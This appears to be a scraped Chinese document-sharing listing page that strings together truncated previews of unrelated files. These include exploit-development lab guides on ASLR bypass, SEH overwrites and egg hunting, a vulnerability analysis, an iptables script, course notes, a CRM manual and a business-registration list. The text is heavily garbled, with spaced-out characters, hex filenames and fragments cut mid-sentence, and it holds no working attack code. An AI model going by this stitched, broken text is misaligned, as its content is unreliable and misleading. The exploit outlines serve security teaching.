一 登录 crm Mobile 系统 : 输入 ShijiCare 用户名和密码, 登录系统, 如图所示 : 第 2 页共 32 页 第 1 页共 32 页 crm Mobile V1.0 for IOS 用户手册 一 登录 crm Mobile 系统 : 输入 ShijiCare 用户名和密码, 登录系统, 如图所示 : 第 2 页共 32 页 二 crm Mobile 界面介绍 : 第 3 页共 32 页 三 新建 (New) 功能使用说明 1 选择产品 第 4 页共 32 页 2 填写问题的简要描述和详细描述 第 5 页共

More information

实验指导书

实验指导书 从零开始学习软件漏洞挖掘系列教程第六篇 : 进击 ASLR 地址随机化 1 实验简介 实验所属系列 : 系统安全 实验对象 : 本科 / 专科信息安全专业 相关课程及专业 : 计算机网络 实验时数 ( 学分 ):2 学时 实验类别 : 实践实验类 2 实验目的 通过该实验了解绕过 ASLR 的方法 3 预备知识 1. 关于 ASLR 的一些基础知识 ASLR(Address space layout

More information

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字 适 合 读 者 : 入 侵 爱 好 者 溢 出 爱 好 者 前 置 知 识 : 汇 编 语 言 缓 冲 区 溢 出 基 本 原 理 文 / 图 何 永 强 Word 畸 形 数 据 结 构 溢 出 漏 洞 分 析 与 利 用 以 前 都 是 写 远 程 溢 出 漏 洞, 感 觉 也 该 换 换 口 味 了 事 实 上,2005 年 以 来 的 远 程 溢 出 漏 洞, 如 MS05-039 MS06-040

More information

格式化字符串 Weifeng Sun School of Software, DLUT

格式化字符串 Weifeng Sun School of Software, DLUT 格式化字符串 Weifeng Sun School of Software, DLUT 格式化字符串漏洞 格式化字符串, 也是一种比较常见的漏洞类型 会触发该漏洞的函数很有限 主要就是 printf 还有 sprintf,fprintf 等等 c 库中 print 家族的函数 >int printf(const char* format,...) 2 / 42 3 / 42 A B 字符串指针 char

More information

<4D F736F F D20B5DAC8FDCBC4D5C2D7F7D2B5B4F0B0B82E646F63>

<4D F736F F D20B5DAC8FDCBC4D5C2D7F7D2B5B4F0B0B82E646F63> 第三章 Q3 1 1. 省略了 I/O 操作的复杂逻辑, 易实现, 耗费低 ; 2. 可以利用丰富的内存寻址模式实现灵活的 I/O 操作 Q3 2 假设存储单元 ds1 处寄存器地址为 0x2000, 代码如下 #define ds1 0x2000 while ( *ds1 == 0 ) ; Q3 3 假设设备 (dev1) 中有两个寄存器 ds1 和 dd1,dev1 的地址为 0x1000,ds1

More information

目 录

目 录 1 Quick51...1 1.1 SmartSOPC Quick51...1 1.2 Quick51...1 1.3 Quick51...2 2 Keil C51 Quick51...4 2.1 Keil C51...4 2.2 Keil C51...4 2.3 1 Keil C51...4 2.4 Flash Magic...9 2.5 ISP...9 2.6...10 2.7 Keil C51...12

More information

实验指导书

实验指导书 从零开始学习软件漏洞挖掘系列教程第三篇 : 利用 SEH 机制 Exploit it 1 实验简介 实验所属系列 : 系统安全 实验对象 : 本科 / 专科网络 / 信息安全专业 相关课程及专业 : 计算机网络, 信息安全 实验时数 ( 学分 ):2 学时 实验类别 : 实践实验类 2 实验目的 在传统的缓冲区溢出中, 我们可以通过覆盖返回地址以跳转到 shellcode 但并不是所有的溢出都是那么简单的

More information

* 4 6 R P r p . 1 2 3 4 7 89bk 6 5 1 2 3 4 5 6 7 8 9 0 bk r bl bm bn^ bo bl br bq bpbo bn bm [ ] [ ] [ ] bp 8 2 4 6 bq p [ ] [SET] br clckbt bs bs bt ck cl. 1 2 1 2+- 3 3 . 1 2 3 4 5 6 7 8 9 bk bl bm

More information

ebook65-5

ebook65-5 5 P e r l P e r l I / O P e r l P e r l P e r l P e r l P e r l I / O P e r l P e r l 5.1 P e r l P e r ( ) S T D I N P e r l S T D I N 2 $ @ P e r l f o r e a c h e l s e i f P e r l p e r l f u n c o

More information

OOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数

OOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数 OOP with Java Yuanbin Wu cs@ecnu OOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数 复习 类的复用 组合 (composition): has-a 关系 class MyType { public int i; public double d; public char c; public void set(double

More information

Guava学习之Resources

Guava学习之Resources Resources 提供提供操作 classpath 路径下所有资源的方法 除非另有说明, 否则类中所有方法的参数都不能为 null 虽然有些方法的参数是 URL 类型的, 但是这些方法实现通常不是以 HTTP 完成的 ; 同时这些资源也非 classpath 路径下的 下面两个函数都是根据资源的名称得到其绝对路径, 从函数里面可以看出,Resources 类中的 getresource 函数都是基于

More information

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt MACHINE LANGUAGE CODING AND THE DEBUG SOFTWARE DEVELOPMENT PROGRAM OF THE PC General instruction format for machine code 611 37100 微處理機原理與應用 Lecture 04-4 MACHINE LANGUAGE CODING AND THE DEBUG SOFTWARE

More information

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt MACHINE LANGUAGE CODING AND THE DEBUG SOFTWARE DEVELOPMENT PROGRAM OF THE PC MACHINE LANGUAGE CODING AND THE DEBUG SOFTWARE DEVELOPMENT PROGRAM OF THE PC 4.1 Converting Assembly Language Instructions to

More information

Converting image (bmp/jpg) file into binary format

Converting image (bmp/jpg) file into binary format RAiO Image Tool 操作说明 Version 1.0 July 26, 2016 RAiO Technology Inc. Copyright RAiO Technology Inc. 2013 RAiO TECHNOLOGY INC. www.raio.com.tw Revise History Version Date Description 0.1 September 01, 2014

More information

第1章 99

第1章  99 1.1 上机建立第一个工程... 4 1.1.1 用 Visual Studio 创建工程... 4 1.1.2 用 Visual Studio 查看汇编代码... 5 1.2 简要复习常用的汇编指令... 6 1.2.1 堆栈相关指令... 6 1.2.2 数据传送指令... 7 1.2.3 跳转与比较指令... 8 1.3 C 函数的参数传递过程... 9 本书总是假设读者的 母语 是 C/C++

More information

提纲. 1 实验准备. 2 从实模式进入保护模式. 3 小结 陈香兰 ( 中国科学技术大学计算机学院 ) 软件综合实验之操作系统 July 1, / 11

提纲. 1 实验准备. 2 从实模式进入保护模式. 3 小结 陈香兰 ( 中国科学技术大学计算机学院 ) 软件综合实验之操作系统 July 1, / 11 .. 软件综合实验之操作系统 进入保护模式 陈香兰 中国科学技术大学计算机学院 July 1, 2016 陈香兰 ( 中国科学技术大学计算机学院 ) 软件综合实验之操作系统 July 1, 2016 1 / 11 提纲. 1 实验准备. 2 从实模式进入保护模式. 3 小结 陈香兰 ( 中国科学技术大学计算机学院 ) 软件综合实验之操作系统 July 1, 2016 2 / 11 实验准备 实验环境准备

More information

OOP with Java 通知 Project 4: 4 月 19 日晚 9 点

OOP with Java 通知 Project 4: 4 月 19 日晚 9 点 OOP with Java Yuanbin Wu cs@ecnu OOP with Java 通知 Project 4: 4 月 19 日晚 9 点 复习 类的复用 组合 (composition): has-a 关系 class MyType { public int i; public double d; public char c; public void set(double x) { d

More information

Microsoft PowerPoint - string_kruse [兼容模式]

Microsoft PowerPoint - string_kruse [兼容模式] Strings Strings in C not encapsulated Every C-string has type char *. Hence, a C-string references an address in memory, the first of a contiguous set of bytes that store the characters making up the string.

More information

Xcode 4.6 Dmg File. arts related Airway array tiene saison Site mentored

Xcode 4.6 Dmg File. arts related Airway array tiene saison Site mentored Xcode 4.6 Dmg File ->->->-> http://shurll.com/9xx2x 1 / 5 2 / 5 6,,,months,,,ago,,,... xcode4.6,,,-,,,how,,,download,,,xcode,,,dmg,,,file?,,,-,,,stack,,,overflow,,,xcode4. 6,,,-,,,how,,,download,,,xcode,,,dmg,,,file?,,,-,,,Stack,,,Overflow,,,xcode6_beta2.dmg

More information

Microsoft PowerPoint - BECKHOFF技术_ADS通讯 [Compatibility Mode]

Microsoft PowerPoint - BECKHOFF技术_ADS通讯 [Compatibility Mode] 的架构 ADS 的通讯机制 ADS-Client Request -> Confirmation Indication

More information

F515_CS_Book.book

F515_CS_Book.book /USB , ( ) / L R 1 > > > 2, / 3 L 1 > > > 2 + - 3, 4 L 1 了解显示屏上显示的图标 Wap 信箱收到一条 Wap push 信息 ( ) GSM 手机已连接到 GSM 网络 指示条越多, 接收质量越好 2 ...........................4.............................. 4 Micro SD (

More information

骨头的故事

骨头的故事 头 1 图 206 33 7 12 5 5 4 12 2 54 10 200-400 3 500 图 类 图 图 动 节 4 5 图 发 图 节 180 Youtube 180 [1] 7 2 7 6 9 270 6 图 树懒 块颈 13-25 14 17 25 7 图 扭头 头鹰 鹅 8 图 红 为 关节 绿 为 关节 9 图 类 10 图 类 11 图 盘 动 类 图 阴 犸 艺 你可能会以为图

More information

手册 doc

手册 doc 1. 2. 3. 3.1 3.2 3.3 SD 3.4 3.5 SD 3.6 3.7 4. 4.1 4.2 4.3 SD 4.4 5. 5.1 5.2 5.3 SD 6. 1. 1~3 ( ) 320x240~704x288 66 (2G SD 320x2401FPS ) 32M~2G SD SD SD SD 24V DC 3W( ) -10~70 10~90% 154x44x144mm 2. DVR106

More information

gcc 对整型和浮点型参数传递的汇编码生成特点分析 张昱 1. 相关资料 关于浮点数 (Floating-point) 的存储表示 : 浮点数的存储目前广泛采用 IEEE 754 标准 (1980 年 Intel 提出, 1985 年被 IEEE 采纳,

gcc 对整型和浮点型参数传递的汇编码生成特点分析 张昱 1. 相关资料 关于浮点数 (Floating-point) 的存储表示 : 浮点数的存储目前广泛采用 IEEE 754 标准 (1980 年 Intel 提出, 1985 年被 IEEE 采纳, gcc 对整型和浮点型参数传递的汇编码生成特点分析 张昱 1. 相关资料 关于浮点数 (Floating-point) 的存储表示 : 浮点数的存储目前广泛采用 IEEE 754 标准 (1980 年 Intel 提出, 1985 年被 IEEE 采纳,http://babbage.cs.qc.edu/courses/cs341/IEEE-754references.html ) 32 位单精度 :Bit

More information

chap07.key

chap07.key #include void two(); void three(); int main() printf("i'm in main.\n"); two(); return 0; void two() printf("i'm in two.\n"); three(); void three() printf("i'm in three.\n"); void, int 标识符逗号分隔,

More information

CH01.indd

CH01.indd 3D ios Android Windows 10 App Apple icloud Google Wi-Fi 4G 1 ( 3D ) 2 3 4 5 CPU / / 2 6 App UNIX OS X Windows Linux (ios Android Windows 8/8.1/10 BlackBerry OS) 7 ( ZigBee UWB) (IEEE 802.11/a/b/g/n/ad/ac

More information

前沿技术 php.net 被植入恶意代码分析 核心技术部张云海 关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 p

前沿技术 php.net 被植入恶意代码分析 核心技术部张云海 关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 p php.net 被植入恶意代码分析 核心技术部张云海 关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 php.net 存在下载 安装恶意软 2件的行为, 将该网站标记为可疑 php.net 的管理者对此进行了调查,

More information

目 录 软 件 概 述... 3 1.1 软 件 用 途... 3 1.2 软 件 运 行... 3 1.3 系 统 配 置... 3 使 用 入 门... 4 2.1 软 件 登 录 与 退 出... 4 2.2 页 面 介 绍... 6 组 别 账 号 编 辑... 8 3.1 组 别 编 辑.

目 录 软 件 概 述... 3 1.1 软 件 用 途... 3 1.2 软 件 运 行... 3 1.3 系 统 配 置... 3 使 用 入 门... 4 2.1 软 件 登 录 与 退 出... 4 2.2 页 面 介 绍... 6 组 别 账 号 编 辑... 8 3.1 组 别 编 辑. 闪 电 王 多 账 户 版 使 用 说 明 版 本 :1.2.10 目 录 软 件 概 述... 3 1.1 软 件 用 途... 3 1.2 软 件 运 行... 3 1.3 系 统 配 置... 3 使 用 入 门... 4 2.1 软 件 登 录 与 退 出... 4 2.2 页 面 介 绍... 6 组 别 账 号 编 辑... 8 3.1 组 别 编 辑... 8 3.2 账 号 编 辑...

More information

1 Project New Project 1 2 Windows 1 3 N C test Windows uv2 KEIL uvision2 1 2 New Project Ateml AT89C AT89C51 3 KEIL Demo C C File

1 Project New Project 1 2 Windows 1 3 N C test Windows uv2 KEIL uvision2 1 2 New Project Ateml AT89C AT89C51 3 KEIL Demo C C File 51 C 51 51 C C C C C C * 2003-3-30 pnzwzw@163.com C C C C KEIL uvision2 MCS51 PLM C VC++ 51 KEIL51 KEIL51 KEIL51 KEIL 2K DEMO C KEIL KEIL51 P 1 1 1 1-1 - 1 Project New Project 1 2 Windows 1 3 N C test

More information

Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7.

Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7. Kubernetes 包管理理 工具 Helm 蔺礼强 Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7. Kubernetes

More information

MASQUERADE # iptables -t nat -A POSTROUTING -s / o eth0 -j # sysctl net.ipv4.ip_forward=1 # iptables -P FORWARD DROP #

MASQUERADE # iptables -t nat -A POSTROUTING -s / o eth0 -j # sysctl net.ipv4.ip_forward=1 # iptables -P FORWARD DROP # iptables 默认安全规则脚本 一 #nat 路由器 ( 一 ) 允许路由 # iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT ( 二 ) DNAT 与端口转发 1 启用 DNAT 转发 # iptables -t nat -A PREROUTING -p tcp -d 192.168.102.37 dprot 422 -j DNAT to-destination

More information

动画光标文件(

动画光标文件( Ms07-017 动画光标文件 (.Ani) 漏洞分析 neinei/2007-4-8 一 漏洞描述 : Microsoft Windows 在处理动画光标文件 (.ani) 时没有正确地验证 ANI 头中所指定的大小, 导致栈溢出漏洞 恶意攻击者可以在网页中嵌入相关脚本, 在用户浏览网页时会执行伪造的.ani 文件, 或者用户打开了恶意的邮件消息, 都会触发这个溢出, 导致执行任意代码 该文件 (.ani)

More information

Andes Technology PPT Temp

Andes Technology PPT Temp 晶心科技線上技術研討會 AndesCore 便捷的全 C 嵌入式编程 晶心科技市場及技術服務部毛礼杰軟件經理 WWW.ANDESTECH.COM 大纲 系统初始化介绍 异常和中断说明 全 C 语法例子说明 总结 2 CPU 相关特性 1: 中断向量表 系统初始化 (1) 2: 系统寄存器 通常需要用 assembly( 汇编 / 组合 ) 语言来操作 AndesCore 全 C 嵌入式编程 C 扩展语法

More information

Guava学习之CharSequenceReader

Guava学习之CharSequenceReader CharSequenceReader 类是以 CharSequence 的形式读取字符 CharSequenceReader 类继承自 Reader 类, 除了 remaining() hasremaining() 以及 checkopen() 函数之后, 其他的函数都是重写 Reader 类中的函数 CharSequenceReader 类声明没有用 public 关键字, 所以我们暂时还不能调用这个类

More information

1 o o o CPU o o o o o SQL Server 2005 o CPU o o o o o SQL Server o Microsoft SQL Server 2005

1 o o o CPU o o o o o SQL Server 2005 o CPU o o o o o SQL Server o Microsoft SQL Server 2005 1 o o o CPU o o o o o SQL Server 2005 o CPU o o o o o SQL Server o Microsoft SQL Server 2005 1 1...3 2...20 3...28 4...41 5 Windows SQL Server...47 Microsoft SQL Server 2005 DBSRV1 Microsoft SQL Server

More information

Win32 Egg Hunting 秋风寒一朵雪花 译 首发于看雪论坛 前言 距离复活节还有一段时间, 不过现在也许正是探讨寻找彩蛋方式的好时机 ( 我们正好可以为复活节女郎给我们带来的下一个 0Day 漏洞做好准备 ) 这套编写 exploit 指南系列的开头部分, 已经讲述了如

Win32 Egg Hunting 秋风寒一朵雪花 译 首发于看雪论坛 前言 距离复活节还有一段时间, 不过现在也许正是探讨寻找彩蛋方式的好时机 ( 我们正好可以为复活节女郎给我们带来的下一个 0Day 漏洞做好准备 ) 这套编写 exploit 指南系列的开头部分, 已经讲述了如 Win32 Egg Hunting 秋风寒一朵雪花 20010704 译 首发于看雪论坛 前言 距离复活节还有一段时间, 不过现在也许正是探讨寻找彩蛋方式的好时机 ( 我们正好可以为复活节女郎给我们带来的下一个 0Day 漏洞做好准备 ) 这套编写 exploit 指南系列的开头部分, 已经讲述了如何利用栈溢出来执行我们的代码的方法 过去我们编写的所有 exploit 中, 保存 shellcode

More information

易语言逆向分析

易语言逆向分析 易语言介绍 易语言功能强大, 具有多个支持库, 可以很快的进行产品开发 与其它语言相比, 学习难度也低一些, 目前很多的外 挂程序, 核心功能编写为动态链接库, 界面开发的工作会使用易语言来进行 易语言编写的程序, 最终的功能实现, 还是需要调用系统的动态链接库 我对易语言的理解是对系统动态库中常用的 功能进行了一次封装, 使其使用起来更加方便简单 由于易语言本身带有多个支持库, 使用我们的逆向分析变得困难重重

More information

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt MINIX ( 730000) ( 730000) MINIX MINIX2.0 MINIX : MINIX TP3 1 MINIX UNIX Tanenbaum UNIX MINIX LINUX MINIX MINIX MINIX1.0 UNIX V7 MINIX2.0[3] POSIX MINIX3 MINIX Gabriel A. Wainer 1994-1995 [5] 1998 I/O 2002

More information

使用!pvefindaddr 更容易的开发漏洞利用

使用!pvefindaddr 更容易的开发漏洞利用 翻译题目 : 使用!pvefindaddr 更容易的开发漏洞利用 Exploit Writing Made Easier With!pvefindaddr 作者 : 仙果主页 :http://hi.baidu.com/zhanglinguo11 版权提示 : 文章版权归作者所有, 转载请注明出处, 尊重作者劳动成果 题记 : 看雪上好像没有专门介绍 Immunity Debugger 的!pvefindaddr

More information

DbgPrint 函数流程分析

DbgPrint 函数流程分析 DbgPrint 函数流程分析 by 小喂 1 DbgPrint 函数流程分析 前言 Windows 下编写内核驱动时经常用到 DbgPrint 函数输出一些调试信息, 用来辅助调试 当正在用 WinDbg 内核调 试时, 调试信息会输出到 WinDbg 中 或者利用一些辅助工具也能看到输出的调试信息, 比如 Sysinternals 公司的 DebugView 工具 本文分析了 Vista 系统上

More information

Untitled

Untitled Exploit 1500 writeup 0x00 概述 这道题整个 Pwn 的过程包含了很多个步骤, 把每 一项分解开来不算很难, 但是合在 一起还是 比较 麻烦的 下 面就简单地整理 一下这整个 Exploit 的过程 Operation System Windows XP SP3 Archtechture x86-32 Tools Ollydbg IDA Pro 6.6.text 0x400000

More information

ソフトウェア説明書 CA Introscope 9 (9.5)

ソフトウェア説明書 CA Introscope 9 (9.5) CA Introscope Windows Vista Windows 7 Windows Windows XP Red Hat Enterprise Linux 5 Microsoft Windows Server 20 Microsoft Windows Server 20 Microsoft Windows Server 20 Microsoft Windows Server 2008

More information

阅读理解与写作技巧工作坊 年级 小五 小六 日期 3月28日 时间 7点正至8点30分 地点 嘉庚堂 1. 2. 3. 4. 5. 6. 1. 2. 3. 1 2 3 4. 1 2 / 3 1. 2. 3. 4. 5. 1 1 4 . 1 . (a) ( ) . (a) ( ) X . (a) ( ) . X X / . . 1 2 2 3 . . 1 2 2 . 5 6 ^

More information

p-2.indd

p-2.indd 2 第 一 篇 睽 違 1342 年, 陳 元 光 終 於 回 到 老 家 開 漳 聖 王 陳 元 光 回 老 家 活 動, 是 開 漳 聖 王 聖 像 自 台 灣 啟 程 回 固 始 老 家, 讓 1342 年 自 固 始 出 發 前 往 閩 南 漳 洲, 其 後 英 靈 飄 洋 渡 海 來 到 台 灣 的 開 漳 聖 王, 再 回 到 原 始 出 生 地 固 始, 形 成 一 個 圓 滿 的 迴

More information

Microsoft Word - IRFWX_A051_C_SyncMOS_with_STC_APN_SC_.doc

Microsoft Word - IRFWX_A051_C_SyncMOS_with_STC_APN_SC_.doc EEPROM 应用说明 1 适用产品 :SM59D03G2 SM59D04G2 series 2 应用范围 : 针对需使用 EEPORM 功能替换 STC 89C5X 的应用及汇编语言之范例程序 ( 使用内部扩充内存为暂存区 ) 3 功能说明 : 3.1 本公司上述产品 EEPORM 功能皆可替换 STC89C5X, 仅需对特殊功能缓存器定义 ( 详见表 1) 及 ISP 命令定义 ( 详见表 2)

More information

X713_CS_Book.book

X713_CS_Book.book / / /USB ) ; ; C D ; ; B B 1 >> 2 3 B 1 ( > > ) 了解显示屏上显示的图标 Wap 信箱收到一条 Wap push 信息 GSM GPS ( ) 手机已连接到 GSM 网络 指示条越多, 接收质量越好 GPS 2 ...........................4.............................. 4 Micro SD (

More information

, 7, Windows,,,, : ,,,, ;,, ( CIP) /,,. : ;, ( 21 ) ISBN : -. TP CIP ( 2005) 1

, 7, Windows,,,, : ,,,, ;,, ( CIP) /,,. : ;, ( 21 ) ISBN : -. TP CIP ( 2005) 1 21 , 7, Windows,,,, : 010-62782989 13501256678 13801310933,,,, ;,, ( CIP) /,,. : ;, 2005. 11 ( 21 ) ISBN 7-81082 - 634-4... - : -. TP316-44 CIP ( 2005) 123583 : : : : 100084 : 010-62776969 : 100044 : 010-51686414

More information

30 CD NEW /CD A B 3 Louis Alexander 9 1-8 1 6 1 VCD :78 :36 1 1 2 3 4 5 6 3 7 8 4 1 2 3 GRE 710 710 PETS 20 7 cus What did we do? What can we do? What we plan to do? Ending cus What did we do?

More information

Application Note Format

Application Note Format USB 說 2 - AD PWM Office: 6F, No. 12, Innovation 1st. RD., Science-Based Industrial Park, Hsin-Chu City, Taiwan, R.O.C Tel: +886-3-6661766 ext.1672 Fax: +886-3-6661765 Etoms Electronics Corp. Publication

More information

OOP with Java 通知 Project 2 提交时间 : 3 月 14 日晚 9 点 另一名助教 : 王桢 学习使用文本编辑器 学习使用 cmd: Power shell 阅读参考资料

OOP with Java 通知 Project 2 提交时间 : 3 月 14 日晚 9 点 另一名助教 : 王桢   学习使用文本编辑器 学习使用 cmd: Power shell 阅读参考资料 OOP with Java Yuanbin Wu cs@ecnu OOP with Java 通知 Project 2 提交时间 : 3 月 14 日晚 9 点 另一名助教 : 王桢 Email: 51141201063@ecnu.cn 学习使用文本编辑器 学习使用 cmd: Power shell 阅读参考资料 OOP with Java Java 类型 引用 不可变类型 对象存储位置 作用域 OOP

More information

untitled

untitled MeetingPlaza Version7.0 License Package NTT IT 2013 7 10 I _Toc360091693 1... 4 1-1 Web...4 1-2 MeetingPlaza...4 1-3...4 1-4...5 2... 7 2-1...7 2-2...9 3... 11 3-1...12 3-1-1... 13 3-1-2... 15 3-1-3...

More information

浙江大学本科论文模板

浙江大学本科论文模板 本 科 生 毕 业 设 计 报 告 项 目 名 称 微 型 操 作 系 统 的 设 计 与 实 现 姓 名 与 学 号 曲 国 铖 3063027053 指 导 老 师 王 新 宇 专 业 计 算 机 科 学 与 技 术 学 院 计 算 机 学 院 A Dissertation Submitted to Zhejiang University for the Degree of Bachelor of

More information

指令系统 可分成如下 6 类 : 数据传送指令 算术运算指令 逻辑运算和移位指令 串操作指令 程序控制指令 处理器控制指令 2015 年 3 月 26 日星期四 8 时 41 分 27 秒 2

指令系统 可分成如下 6 类 : 数据传送指令 算术运算指令 逻辑运算和移位指令 串操作指令 程序控制指令 处理器控制指令 2015 年 3 月 26 日星期四 8 时 41 分 27 秒 2 第 3 章 8086 的寻址方式和指令系统 (2) 2015 年 3 月 26 日星期四 8 时 41 分 27 秒 1 3.3 8086 指令系统 可分成如下 6 类 : 数据传送指令 算术运算指令 逻辑运算和移位指令 串操作指令 程序控制指令 处理器控制指令 2015 年 3 月 26 日星期四 8 时 41 分 27 秒 2 3.3.1 数据传送指令 可实现 存储器 立即数 段寄存器 CS DS

More information

AL-M200 Series

AL-M200 Series NPD4754-00 TC ( ) Windows 7 1. [Start ( )] [Control Panel ()] [Network and Internet ( )] 2. [Network and Sharing Center ( )] 3. [Change adapter settings ( )] 4. 3 Windows XP 1. [Start ( )] [Control Panel

More information

38 47995529 威 福 髮 藝 店 桃 園 市 蘆 竹 區 中 山 里 福 祿 一 街 48 號 地 下 一 樓 50,000 獨 資 李 依 純 105/04/06 府 經 登 字 第 1059003070 號 39 47995534 宏 品 餐 飲 桃 園 市 桃 園 區 信 光 里 民

38 47995529 威 福 髮 藝 店 桃 園 市 蘆 竹 區 中 山 里 福 祿 一 街 48 號 地 下 一 樓 50,000 獨 資 李 依 純 105/04/06 府 經 登 字 第 1059003070 號 39 47995534 宏 品 餐 飲 桃 園 市 桃 園 區 信 光 里 民 1 08414159 惠 鴻 眼 鏡 行 桃 園 市 中 壢 區 福 德 里 中 華 路 一 段 186 號 1 樓 30,000 獨 資 宋 耀 鴻 105/04/27 府 經 登 字 第 1059003866 號 2 17891110 承 元 冷 氣 空 調 工 程 行 桃 園 市 桃 園 區 中 德 里 國 際 路 1 段 98 巷 50 號 2 樓 之 4 200,000 獨 資 詹 安 平

More information

Android 框架虚拟化实战 董福源 360 手机卫士 2017.thegiac.com

Android 框架虚拟化实战 董福源 360 手机卫士 2017.thegiac.com Android 框架虚拟化实战 董福源 360 手机卫士 什么是虚拟化 原生 apk 在封闭系统内 免安装运行 Android 系统的一种沙箱技术 技术架构 Sandbox apps Android OS 目录 Sandbox apps Android OS Activity 插件化 只能启动 Manifest 中声明的 activity 占坑方案 欺骗 AMS Activity 启动过程 ContentImpl

More information

第5章:汇编语言程序设计

第5章:汇编语言程序设计 第 5 章 : 汇编语言程序设计 程 汇编语言指令格式 系统伪指令 存储器选择方式 常用子程序 1 汇编语言程序设计 PIC 指令系统 语言系统 指 CPU 编 器语言 器语言 器语言 设计 用 语言 设计 语言 汇编语言 2 汇编语言指令格式 汇编语言指令格式 ( 指令 ) label opcode operand comment 指令 用 存 指令 指令语 3 汇编语言指令格式 1 指令 用 指令

More information

C++ 程序设计 OJ9 - 参考答案 MASTER 2019 年 6 月 7 日 1

C++ 程序设计 OJ9 - 参考答案 MASTER 2019 年 6 月 7 日 1 C++ 程序设计 OJ9 - 参考答案 MASTER 2019 年 6 月 7 日 1 1 CARDGAME 1 CardGame 题目描述 桌上有一叠牌, 从第一张牌 ( 即位于顶面的牌 ) 开始从上往下依次编号为 1~n 当至少还剩两张牌时进行以下操作 : 把第一张牌扔掉, 然后把新的第一张放到整叠牌的最后 请模拟这个过程, 依次输出每次扔掉的牌以及最后剩下的牌的编号 输入 输入正整数 n(n

More information

Microsoft Word - 11.doc

Microsoft Word - 11.doc 除 錯 技 巧 您 將 於 本 章 學 到 以 下 各 項 : 如 何 在 Visual C++ 2010 的 除 錯 工 具 控 制 下 執 行 程 式? 如 何 逐 步 地 執 行 程 式 的 敘 述? 如 何 監 看 或 改 變 程 式 中 的 變 數 值? 如 何 監 看 程 式 中 計 算 式 的 值? 何 謂 Call Stack? 何 謂 診 斷 器 (assertion)? 如 何

More information

<4D F736F F D20B1D0A87CB3A1C5E9A87CB870B8C9A755B1C0B0CABEC7AED5C5E9A87CB942B0CAB56FAE69B867B64FADECAB682E646F6378>

<4D F736F F D20B1D0A87CB3A1C5E9A87CB870B8C9A755B1C0B0CABEC7AED5C5E9A87CB942B0CAB56FAE69B867B64FADECAB682E646F6378> 教 育 部 體 育 署 補 助 推 動 學 校 體 育 運 動 發 展 經 費 原 則 中 華 民 國 98 年 1 月 6 日 教 育 部 臺 體 ( 一 ) 字 第 0970252252C 號 令 發 布 中 華 民 國 100 年 1 月 26 日 教 育 部 臺 體 ( 三 ) 字 第 1000001924C 號 令 發 布 中 華 民 國 101 年 4 月 5 日 教 育 部 臺 體 (

More information